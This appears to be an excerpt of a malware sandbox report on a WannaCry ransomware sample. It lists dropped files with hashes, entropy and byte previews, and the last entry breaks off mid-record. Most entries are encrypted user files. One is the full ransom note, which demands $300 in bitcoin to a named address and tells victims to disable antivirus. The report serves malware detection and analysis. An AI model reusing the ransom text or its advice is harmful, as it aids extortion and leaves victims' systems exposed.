                                      C:\Users\user\Documents\ZTGJILHXQB\ZQIXMVQGAH.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84322736077035
                                      Encrypted:false
                                      SSDEEP:24:bkh8I+XizD0rjgRyWMP1SIpw8GkuhLEK6hjWoqsZYEtWcvu3:bkhLojgIWMP1SIpwnFLEKPBkYEte
                                      MD5:4AC8037DCBBE4F949366B312B00ACE96
                                      SHA1:7A7973F5B0E387098C25881DDDC7C824BF560703
                                      SHA-256:0F5913961852634FA7DA79255F165EEC0F7C4B8972F8F66E59E42E1C5AADEB67
                                      SHA-512:482D11AC8179D8ACB055E4DCC1588BC809D04A882771325AD02B2EEB91B2D5C7FE2B2CD0A3F72B6A01FC4E2D20325BA6D8647C16FF0991CCBB58DACB6CA1E965
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....$..Z.:. .YlS.."Sw....h..m..Yt<A&_.....)8r.9.Y.....Q<..4.......&U..9.H..qD....2.I#.T..|....A.c.hy..a._....3h.k....z.I!....z....<..t.@.,.......ap..8C.e....E.T....O..Dg...-9...|mq<{.^..).fIv......XMirB.E........O...ga..b...).8....p....?...................R.........q...@c.EN.x|.U..:C..PU.M.E.....!JL......x.g)bd...b^..\..]...G*V.......I...`0..."....2.1:!o<....g..f..J..J.....M.....G...-....v...8.}@.#.0.....9>.n.t.!.uo......`..z\'3..t...BADS+..b.}G_..Z..4......V .%..........d~.Z.e.......h.. .A......1...A....?%..........\7..E.S...dV..F.N_..FGD...........+#..... ...]....._?.....T....2%.G<...bU...-.n..i`K.(.....hY..`..C..8.....;,.\..%G~.&)..9.9..E..)..^.{%..i......%./.-3..R.Q....j.......j(...).-!..."...X..<X.........O.R..jy.-W.......A....e.@.N A#...>.6.....UVB.....OP..,..#...)...)....B.Hu.I.0..}-.._....H..d...../5.......'..!3}.....V`b/,u/k..Ewht...H.....M....."I.51....z....;m..NVLX[L1[L.....S.g....>...^l.Z.;...../..".M......

                                      C:\Users\user\Documents\ZTGJILHXQB\ZQIXMVQGAH.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84322736077035
                                      Encrypted:false
                                      SSDEEP:24:bkh8I+XizD0rjgRyWMP1SIpw8GkuhLEK6hjWoqsZYEtWcvu3:bkhLojgIWMP1SIpwnFLEKPBkYEte
                                      MD5:4AC8037DCBBE4F949366B312B00ACE96
                                      SHA1:7A7973F5B0E387098C25881DDDC7C824BF560703
                                      SHA-256:0F5913961852634FA7DA79255F165EEC0F7C4B8972F8F66E59E42E1C5AADEB67
                                      SHA-512:482D11AC8179D8ACB055E4DCC1588BC809D04A882771325AD02B2EEB91B2D5C7FE2B2CD0A3F72B6A01FC4E2D20325BA6D8647C16FF0991CCBB58DACB6CA1E965
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....$..Z.:. .YlS.."Sw....h..m..Yt<A&_.....)8r.9.Y.....Q<..4.......&U..9.H..qD....2.I#.T..|....A.c.hy..a._....3h.k....z.I!....z....<..t.@.,.......ap..8C.e....E.T....O..Dg...-9...|mq<{.^..).fIv......XMirB.E........O...ga..b...).8....p....?...................R.........q...@c.EN.x|.U..:C..PU.M.E.....!JL......x.g)bd...b^..\..]...G*V.......I...`0..."....2.1:!o<....g..f..J..J.....M.....G...-....v...8.}@.#.0.....9>.n.t.!.uo......`..z\'3..t...BADS+..b.}G_..Z..4......V .%..........d~.Z.e.......h.. .A......1...A....?%..........\7..E.S...dV..F.N_..FGD...........+#..... ...]....._?.....T....2%.G<...bU...-.n..i`K.(.....hY..`..C..8.....;,.\..%G~.&)..9.9..E..)..^.{%..i......%./.-3..R.Q....j.......j(...).-!..."...X..<X.........O.R..jy.-W.......A....e.@.N A#...>.6.....UVB.....OP..,..#...)...)....B.Hu.I.0..}-.._....H..d...../5.......'..!3}.....V`b/,u/k..Ewht...H.....M....."I.51....z....;m..NVLX[L1[L.....S.g....>...^l.Z.;...../..".M......

                                      C:\Users\user\Documents\ZTGJILHXQB\ZTGJILHXQB.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.792955725258114
                                      Encrypted:false
                                      SSDEEP:24:YXy5RQ94qIF9XGLzIpEe0+NoovbYs5p3973eRGCP5Fuz0mtt:YF94qI7XEzS3aod5PePPDcFtt
                                      MD5:382DD3EE869B73F21956F7A6760ECFE3
                                      SHA1:7E1326E6ACB8B8B3C63EA291F02209B7A192F3F9
                                      SHA-256:B6D2CEF3A7A2854D7DD065317F63AB6FAA3B878276D1F94AD6DFC4E468898C51
                                      SHA-512:09A108C1E55CC410473EEBA599A1B59D063E93936B520CFB410D408B680498B6B0422DABD5219375F032B467B459505398B2FD1F8E37587CE8861BF26E49BF78
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:/.oE....jZH.D....D....R\HGp........ ...'.....[..$.P..}.*..l...JG}>..........%.M~*.......3.d..O.W..E#..cV.n.%......."...3......T....O.B..}.oR...AA.d.. ........].*....(.....-.%.......zg...N.y.Qq..]f.e..99...KE.U[..O.()H..i.C.../...8ht....:.w+.;..Y ...v..)D.#.Zk..~Gb.X&...L}SLo....x.A._Q7|L.6.D...r.....<..u=F......P...bM...`9.?F...k.....N-.'..|.2<.<..*.E...E..........4...%.<......u...I'........oy.\S.....LT_G..%RD7I......<.k.....4..z*.;./...0.x....U...]...C7...*Z.EbBvWDf...Z|..4..%....{...............k .!.mp.K..A~.>..C.#s....x......w.....TZ\^._d\n..Z>...&..W.........X:..0o64.MA..9.?..FJ+H8K.../....T.?..[. .>...*...Mg7.Fb.M..c..Z..:...|6.....*x.f.fx%..gx\..^.9..y....hRK......GW.owE.3A.r...du..rS.).(.P.....&.FQ...W....c....8....~.k2Q..,..3...u^+...(%.NS.#..M..{*.d.w;.k.u...&..Q>5[. ...........[..2.mp.U..n...p..3.9..=.9#l.i..x].1.?..P.....1..<o6..(....FM...(u...........E.%}o.8|...W.KL......./.z......"$6_..Bd.A..y.;..N.f`..#.)....2....:.1..>....$..tO]

                                      C:\Users\user\Documents\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836196095095155
                                      Encrypted:false
                                      SSDEEP:24:bk+6YtAUu2xt6xDKUrUBaKqy/2Tev5zqft4jGWRu/5TwIopRZMVKleYxJyQGsjDa:bkxYtAUukt6xlraaKqy/2Tw5zqftoRls
                                      MD5:22CCD5762D980B0C177A0484CBA0CBA2
                                      SHA1:B171B9CF7E73A10653396D0E7ECA28B7AC536616
                                      SHA-256:3C5CD7996EF660573758208C92028242B332A9631410FB15F7CC4513C03644FA
                                      SHA-512:DEA50623317FFBF72B34BC64400D663543E67BEB36E37951A2D88106E9E9AC79F51D628EAD0A934EEAB3782E24DAE3EF1393D725C68B26880A65BBAD2F58612D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......K.....<G/].g[k....L.3.#l....]..M......)^V.h....5r.H?..Sx...w......i`..V<.....-.:H..?./or...y........C.P...A.J.m.D.9)...i.0hb....n.........1...5....p.._S..5...$.~....p...h.......q.H.;...+X..}-..z.E0.A]g.9.2..f. ..,.......n..A.<...A.Q._`..{.............s...X#O...u.:8.....1..+l..CZVL..kR..K....Kp......!.%E....._?.e[1..I..L.1.q.>...e.O.2b....:7A.3+G....b..?.3j..S<n..E.{]...........C...*.+Eqd...T....yN<..>.'......qsf. .=..}F......X...i..eb(.X]k....7 .)...]...D..;\F.>..i..5O^.B.P.Y..x?..Y.1.....6....a....LJ1..c.,...^sY.^..w.1.z.....//.+...."....*=....C..).....~"....].tjRq...O.<..m.e.J.z.4.<...:..;.F.[.....)..=...d..X*fG......pR....$..h_.e...g.~N.*...J....%.M_.!.Wf...q.\...z.17..k4.. .`.B............y...@........]..mzF..........J.....7.m..9Z.].v..?.....1.......(.).t...}n..[5 .$.....s....S.'z.<."vY..3... ..*Fj..n=...)R.-....afG.h.r(....=TU..'..M.;s.#....J..m,3.+7.%.g..VF.|2!.G.wzcBDeH...K\...d.i.......W.?B.VN.|n...}....\..U..

                                      C:\Users\user\Documents\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836196095095155
                                      Encrypted:false
                                      SSDEEP:24:bk+6YtAUu2xt6xDKUrUBaKqy/2Tev5zqft4jGWRu/5TwIopRZMVKleYxJyQGsjDa:bkxYtAUukt6xlraaKqy/2Tw5zqftoRls
                                      MD5:22CCD5762D980B0C177A0484CBA0CBA2
                                      SHA1:B171B9CF7E73A10653396D0E7ECA28B7AC536616
                                      SHA-256:3C5CD7996EF660573758208C92028242B332A9631410FB15F7CC4513C03644FA
                                      SHA-512:DEA50623317FFBF72B34BC64400D663543E67BEB36E37951A2D88106E9E9AC79F51D628EAD0A934EEAB3782E24DAE3EF1393D725C68B26880A65BBAD2F58612D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......K.....<G/].g[k....L.3.#l....]..M......)^V.h....5r.H?..Sx...w......i`..V<.....-.:H..?./or...y........C.P...A.J.m.D.9)...i.0hb....n.........1...5....p.._S..5...$.~....p...h.......q.H.;...+X..}-..z.E0.A]g.9.2..f. ..,.......n..A.<...A.Q._`..{.............s...X#O...u.:8.....1..+l..CZVL..kR..K....Kp......!.%E....._?.e[1..I..L.1.q.>...e.O.2b....:7A.3+G....b..?.3j..S<n..E.{]...........C...*.+Eqd...T....yN<..>.'......qsf. .=..}F......X...i..eb(.X]k....7 .)...]...D..;\F.>..i..5O^.B.P.Y..x?..Y.1.....6....a....LJ1..c.,...^sY.^..w.1.z.....//.+...."....*=....C..).....~"....].tjRq...O.<..m.e.J.z.4.<...:..;.F.[.....)..=...d..X*fG......pR....$..h_.e...g.~N.*...J....%.M_.!.Wf...q.\...z.17..k4.. .`.B............y...@........]..mzF..........J.....7.m..9Z.].v..?.....1.......(.).t...}n..[5 .$.....s....S.'z.<."vY..3... ..*Fj..n=...)R.-....afG.h.r(....=TU..'..M.;s.#....J..m,3.+7.%.g..VF.|2!.G.wzcBDeH...K\...d.i.......W.?B.VN.|n...}....\..U..

                                      C:\Users\user\Downloads\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Downloads\@WanaDecryptor@.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Downloads\CURQNKVOIX.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.845006466601944
                                      Encrypted:false
                                      SSDEEP:24:bkIJqCHVzk8F3nvR4vO5c3gLWkYJO6fxaM1dQ6Rt69jDjvyI/MJALtINLts7N:bkIq0Vg8lnvYLfoidQ6GxDjnkSmLtsB
                                      MD5:E1C933BD07736ADCE2E1B7D3F0F648F3
                                      SHA1:F58BCEF9E18E3963E5347304CA11283E9FD9A191
                                      SHA-256:F75152108B17932BB95BFF6CEB34E0BE9A170FB01D0D0FCD6A5FA144B5504E6D
                                      SHA-512:0C489EECBAFEFCD9F68C7F978F2EAA89C324CAC4D3587B33063FB42F9240DA742C0C896865FAA2728287DB8DA3EED45B656F6571F3B3B3C5FDCFBE2BE4FE4DEA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......8.O...kGN.x.Ui"d..Y..;.+?.v.....n..}8.L...t..1l>G...z....p.2...k.Df\:N@..h.Zw3A.gUd.Y..hf.A..E.5+).....L.(..Z...:G....E.q....=.1.N..8.<FI..d.kx.R..a...../..L..I...{+[r"g...L.`.........yi.1.*....9]I.BYJ.......|.A...l.#.v.%.)3..."M.8.*<....O$..............G.D.........ckK..]....|w0..7Q..[..6............o.BTu..A..X...F1......P..tWTn....=.J.S..y.6........%Ykl.^A!f..G.9.m.q....&.;5.>..-.......Y......b..\j[-.C'..Y..*...00.&..V.?k....6..e.?.......s..h...@..+.....V...Y).".w.;.L6m,8..4*C...]...w.!.W.J.r,.P0}..`.l]..[.!..3...`..@.tb......f..^.2;..M..j~..~.F..F."...yE.u..h.+..P.E..m.(S.....`.........=aX2..=(\+..@.......'1...s.2/.I...sQ...:<.D.......i.......G............ZF.]~.L..Uh...E....t.!H..U.F.../.6..O.3.......L./..P{..itcL:..b......'/...X..;.m4C...!..Z..M..f5.....H.=.`b.r.>].N....... ..K.}.2.g..s....$s<.........2....^...6).......)..h..D..#.q.0.n.xW.}.\EQV.N.KB.9W;.D-$..v....Z.ZK..!...c.._....`...{....f.t...L.~.'../.>....*+.......a..

                                      C:\Users\user\Downloads\GRXZDKKVDB.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.856331347067241
                                      Encrypted:false
                                      SSDEEP:24:bkCERpjhgygh1W8tfp3EB/Adk1V+1fL/Bm3NhX3E0BV1YBHAivxS3EBi:bkCEd+WWfJucqM5mfnE0BV21AyxSUBi
                                      MD5:DD70C3C849AB65C96071BE1F4A56DCEB
                                      SHA1:AE23A02EB60A029046CF913ED3313C083BAD2456
                                      SHA-256:03BAFA01F1D012828227A5E41F567319B2B22DA55BEDD7B5851C32F547D1807A
                                      SHA-512:61142DA14658F752AC386BE82A0C6536F8CF6A701764C384718691D155C1E1B8A1FAEDE17B5B7F1B49797F1EEEAC2F71AC2D3B191A438E5FBE045B65E6877EB6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....x.f........O7.*v.S.?....i^..4.Iw..-k.......(. .......*H\9.w[8c.W.4Bl.UP.....s.Kg[}.ez.....V..,.3.$.yq.TO\'.....j....0..d..."...z.....]g...#e..@o....VN.Z.pz%}....0.ty.V.}/.t1o.g/.Q..:.O.{.sT.v6...7..1f.s..t[...KD..JQ......H..../.o.0:..............f^....0.>m....\tP.|.0...;!. .....p..*...lm....)A.'.%b.E.~.Pz....DD.OO.h_..p.A........>....}...... .@.'.u.6..|.....;.Z..n|.)]:`o....7..J,c..{yZ.[]...Pa.F..q.;......^/.gfi./....`m5dR.-.O...!4B.1.].gP...D.....x-...w..#.&...:...)p2i.....Fv.5j........x..m)....-K..+....6......G.g.T....t...*E;.\.N.RH..qxc&l......uz.L.(..E..w1....hBJ....K..l.....9.Xw.nT7...<..@.-....<..&LBy;7...g.......g}8..1#.<L...es..h..."....:W.+..........Q^V.-.%..K..e.3.|X.Z^.m.....r-..;..5Y...k.......}..=....f..Y..P.......o^.n. +.[..DA.....<)w.k.9....y.-.q...4..g2s..mY(0:./.....g.....6....c...~.T\...A..... o.j...hnm...=F.X!.p.x..z.....k.C.~... w....77.>.T../..AH4.O..YMd....w'.zS.f.....^....1..6..0..j>/...

                                      C:\Users\user\Downloads\IPKGELNTQY.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.836934546871312
                                      Encrypted:false
                                      SSDEEP:24:bkVVy+oJAsPvZWgVTJJPc4msHQwgP7uFWmsu3Z31R4IbBKpN84jPOPRqkx:bkVVoqovot4mcdK7wbR4WBKpNpjcUc
                                      MD5:6BEF37739BD30EBF19702302C90CE361
                                      SHA1:2B6B52ACA3054CB7B7C9542843698234DEBB277F
                                      SHA-256:0D1B020347312DF97067B9F3E90DAF73644D714F751B5BA54C881AC59F00A0E2
                                      SHA-512:8126958219E80297A4DB16D964024D0193776EAB33B3E8805C24F779994B2253B155429740F8D3F14270DE6E8808ED8AE94D31EA8C1E8085936C746558891995
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....9..g ...mM.....I.D../..\..U,..h.+F]bB.+.~i..=...).d-.Xk(..UO...u.........G!.F..f.b.n.._.....Bc...'.Ez...yk.2.c...Q,$...D...a.).....(....*i-..N...Cu.].@.aQ|\.[.>O...&.._ .=..!t@_.9........d.!......FRa.)'.i......7^,..B*........56..jx...WVXq6P...............UB.g.h\.(....18p$.....s....y.@z#.......X.a.....~....8.......-x.(..Q#.l...4.%....0..4E...B.xC..(k.....d....v....[.X.....T?...a........p.Wa~t....B>n.L.{..M......>.x..n.p.ID..{..y.X..3#}..%.~......;>O;bDen.=...9....+...(....}.Yxq.Eb..X.E.ym.".A..8.fK.Y...v.=Y.6u6.k....]..s...w....Q..ja...z....b._.N...A.C.L...!....jg..e...f....w...m..\F....vQ.../..."F......V.c|9YP. .T.T....g.&U\r7,).".......Y-t^..-!..s..0.3.o.$....qO.f.k..3F....^....R$e......s.h6.Qu........Z......N.[...Rp.7@N..u.,...._.W7...Z..:.1wM..EI.e0\3.......v.W.d.x('..Kl..~G."V..]kZ.J .%H.....n9.......I......0.S<2.x...k....m,..A..y....6....W.%.!...hU6...EWC.awO...W.%..|..D....8...........e....!.2(B......=..v#J......t..

                                      C:\Users\user\Downloads\NEBFQQYWPS.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.866888248686314
                                      Encrypted:false
                                      SSDEEP:24:bky0imId2MT28qsuWI+Yq2/JjGkOBcbELXaKrFDvt+64dcddce3z/kjwj:bkOmw2MT2Zsu7+Gx7qXaKvk64e7kI
                                      MD5:2339D2848DCBE87468828163BABD93DB
                                      SHA1:4831A518C14B215A52C90870BFB11933F28A4FC6
                                      SHA-256:9C01B45E67950B2ABAD66B81694E2E70812D83C8C00D4BD7CD965E981CF23575
                                      SHA-512:0B9F3816F53D6DDD41CCD862D50574888D9DBD68CAD803B2088963AFC6B069FA5D2E06AE43A13E097F938F4ABC43FA2E5DAB081BC2969705E002213E973F2A95
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....E.52<.......v.#.a....g{.S.}.-L-.c@@..0&.Z.J$Rk..ak.@?!.'!m.a..gG..-2......*..%........3q..B../..Pc.+..1...=^.*.I..ihlIk....).b.Z...?.R.=.A..o.B?.n59..,...Rk...EW..VF..P..[. .."e........N.%...i.}yx.qO.;.u..K`Tu......(..g.B=.et.....H...0.................j.H^;..!qz...>n.......=.......*D.g...8..>y#...a...<k"@t.....0..v...4........]...d..J...My..Z..{.:....D/........U)8l..Yd..}. x/.&.3.(...3....i...q...~.".....H....b.(ia..u.0k..$k....5%C.....S.......y..n.hO.+..).N........et...}..'Hau.H.n.........VZ.r..X..OJ..w.5.a)M..Y......i,Mi...?.....V...%FV...zu...|..tU-.]7..^.cM.iJ......a.6....W/.....&*{`&.km.......aHm9I..9. .}..f.%..!t.7f.(3Q....h./.....j9_..I..W..u...&.L`.6(.........(.;I...zN2........s.E......w....83.lDf.m.l...F.~~.o.G.^..0...N*.r.#...d.&L&..|/`R..Ki.T..)....V..(ot..A.j('q!.m..P.gV.............0`,..-y..}...6...5.q.6y..........}U.Q....o..) .......6`..8...5.+...j...d.46....Av...~se..Mw.t.......-.X\]x..R....d.l.....,

                                      C:\Users\user\Downloads\PIVFAGEAAV.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843370936496028
                                      Encrypted:false
                                      SSDEEP:24:bk7JhjtjNiL1sSBNH2L6SGU66OCFRdZVAV4isEF9Fjbj+IZBCflNQebd/sCmFN:bkdhjtjm1jt2L6SGUROwRJAEIvr+28Nk
                                      MD5:B810006953000BA0C5B5D1C4D094DEAC
                                      SHA1:AAE8BD8925E228390C762EC582C97948D416815B
                                      SHA-256:1AA5ABAA1932CB5DFBD0528CA2A6FC5D46B61C35040986E388FBDCDE07DDC959
                                      SHA-512:83FA0EEF6436A3B46654BCF14FF354AAF26F511C41859534F268E731DC1140AB54A295B43E526F99FEF3BD3A7BF5EAF1C26410E8289226D5B0C98675C06AD27C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....2......o.n.^..p.........3l..r..@.V.^..^.../...SF..J.vM:.!....x..2.rN..O.....76..zp..x...?.x.fn......:d}.,.kA'..-kgw...:J./....r...,.Z...W.....m$..#*P.-x...e....,..*.g........;..OHh..R....."..`..B..1O..H.e.fn.)....e^f.mj.f..x..v...a....=..x.;.z.............w^...h.. .~%+k.;J.ce-$%.1.y"..j.g.X..uK.S..m.7"...y`...Cp..........b._.....M...].S..g>b.u`.3.B.a...&.L...tye.(...'..VeY].....Q.M.y..v.LB&...de.........Vi....f.f.H..IR..x.k1h....j...IQ.N......o_g.\xf...e.=0......F..1z'..BW..k.|.&A.2.....6.?.Gy.N....E0.y,i.s.<....0....J....."..t.4.c.'.#.M1..u?$.......16...v!..].od|3...._.{.b~.;.......M^.x.p.NE...A.`2).O^......[8o.8.+?".....kp.e..!...o."..h..N..{{-^..X]...]7i.1s.K5...C..M....$...w.VH....$...0.a.Mb..Kqyy&..A1o.Nf....Y"w"..v`d! .+...v....L...9#STt...w......X.q...H......FS..S]wR1.. ....2.I'-.h...Y..O...J.^..{3p.....CkB..%...%.A.....q"...;[..{.}.YC....-#....L..s..l..V..q.f}y.:6..c{.GOj.}j.$(.\.5J..K?zC.H-..f...T`$.n..N.t..m...7.^r..

                                      C:\Users\user\Downloads\PWCCAWLGRE.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.83090618299399
                                      Encrypted:false
                                      SSDEEP:24:bkk48JeKt3sf5EyRvXFNAiQjYKy6nDfSHfLMZ4K6xgKQ/GmOvHF6p/:bkT8JekOEyRvVWiajy6nDSTMH6DQAEx
                                      MD5:9EBB666D3231D8A9B0804C578DACE844
                                      SHA1:4650209F13F0593D922E692040B7814E0F7A400C
                                      SHA-256:95BDFFAD8E7780C5EE1910A6AF67FE05A9EB96720E8C378CB9FDB72CE55ED791
                                      SHA-512:6B66E02A4EC9DD212ABDCE17E684B83A6457B37FD758A0DFD4520EFD6B172726DD94F52C57393C138C7F8847E803491658BEB7A53C3F103DD08A6115654DBB2D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........,Zi......1.4[.\o.)Q.0..$.nm$.<.........k..%|.T.....T6.j.B8z%..r.by..3Ebm...8..?.y.q.|..L..j.~Q..=h.>..o.vu..*.aj.t..*...2.[..P.`..V.D .....pH....".X.[....5(&......`._..~..d=.q.,.....!.R".Q..T.M..aj...X...A[.`8!6g......w_...>...O\C......4.A..."............HQ._)W.....z...,........;..a...j{...]q.\...^.>&...E.'.......6J...D....VA.D!k....v.$...l.....S..|JZ}.R.e......2.-.bu.-y...t\...T1.V.../..Js......~..>.....G.A.ro..u..O...O... .d..Q..Q[^..3.hGP..]i!R........9"Q..[.(|..r...XT.....%$.'..%M6f.....-J.P..}..F...i.-.6.O........!.A8.l..I2G.........%.e.d1G*...EN.J.y_..xP.w.z.J.....W.Y.*...~.H...@.[.....}.-....mJ...)!....A.O.&.0{..\{.......`....,:a.W......@.|?7....%....qy,S.u..x>..wM.u...Q.F.v...g.-.#G..Q....2.........cOcP.u.Wd)....Z[}...j.j....6.00..=&..be&.....;.(......-s^H_..HH...C$yO.....O)m.4d.^z..IY..$o..]K.m(..F.O......q.$.k0.(k.....j./X?..G..C..`\.=....tF....y[.S!......].../?.....>,Zk...Ap$..Jl.%Y..G.....M.....I..n.....j...,x)2}.

                                      C:\Users\user\Downloads\QCFWYSKMHA.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.85997302706503
                                      Encrypted:false
                                      SSDEEP:24:bk+rh41Xlp490+may8lqEKOMVLt3/s4zfPIyd5MAVOYzvKl23iF/:bk+rmvlb8+O4Lt/JPzOYbKl2i
                                      MD5:EAA634DDA2CDABD911BCDE5C18736149
                                      SHA1:0BDD206D0614AC5F49D3771D270900B7EB302B5B
                                      SHA-256:BED265F1B1AB9AD2D8946E148DD675EB5EA884E9E8B77A9FD27B358AA1CF8D38
                                      SHA-512:3D0D64E74A388B6539A63E25DF04F9DB7682FCBF1104A2EFC35F0E3CDA59010FA72F9F5EBD13BEA549E30E7C2653D22EA7FCEB3D023D2B75AD9EF5840C716B20
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....k.QLp3Sv.^.M .....xe....:S.;t u....iv.81....3./..+...57.`.D.Q.H"M..%:..+..`%.r.A..;.y.]....M....T.f....M....w3Du...$..o.*......c...`....n..!......8.q.x....^`..)n.6..C..#W'..k..NR....p..)LU...:AH`B.....7z......)........(.N....F[..?`..I..U_tI..EZ..............mw..'......X..I. ...{E}.H.(.'&Q...i`.X.2..ms.d,..L..O8.+.w...Cm..[....o..XE._3....Sh...i.w..{....".'{.0.RDp....u.......x.....3)./...b.2Z.)....."..........I..ZOuo.3..G...w'.>...|@r...S.J.4t.5.0 ..Nj..vo#. ...L.p...;.A@......5<.)......60>Y$.L..."U.;.i......ZcRW4...A..q..C....&...0....]..9.S$`. U....d(.q.)HTw..S.A..(.J0....@.6..t...:y.S..X...j..........X ....-_"8b..#k.....O....%8<...?g.Yk[&..n....F..K$.....J.~..>Eb..r.9....T...j.....f...]OpG.......~,,i.i.!....`_b..o!.....{C0...Z. .y..)oa........K.....l..e..'X.....u....x.yq.1\...q.m....l....E.;onU..GS\o.N.$.3.U...Un...o...!..&........T..?i.Y..U^..;+..7..y."stRo...=...}.@.D"... &...g........5.9l.,..py....s^J..j..QL.Y..)!..=..-.k.t

                                      C:\Users\user\Downloads\SFPUSAFIOL.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841390074776569
                                      Encrypted:false
                                      SSDEEP:24:bk6e0Sg0l0s9jexD/7yXyl1aT2KRGQwP5/dt2L5JfHuBQdemInmT4NUc3H5:bk6Gg0Jw778yW6KUTP5/SVddemCmTuBZ
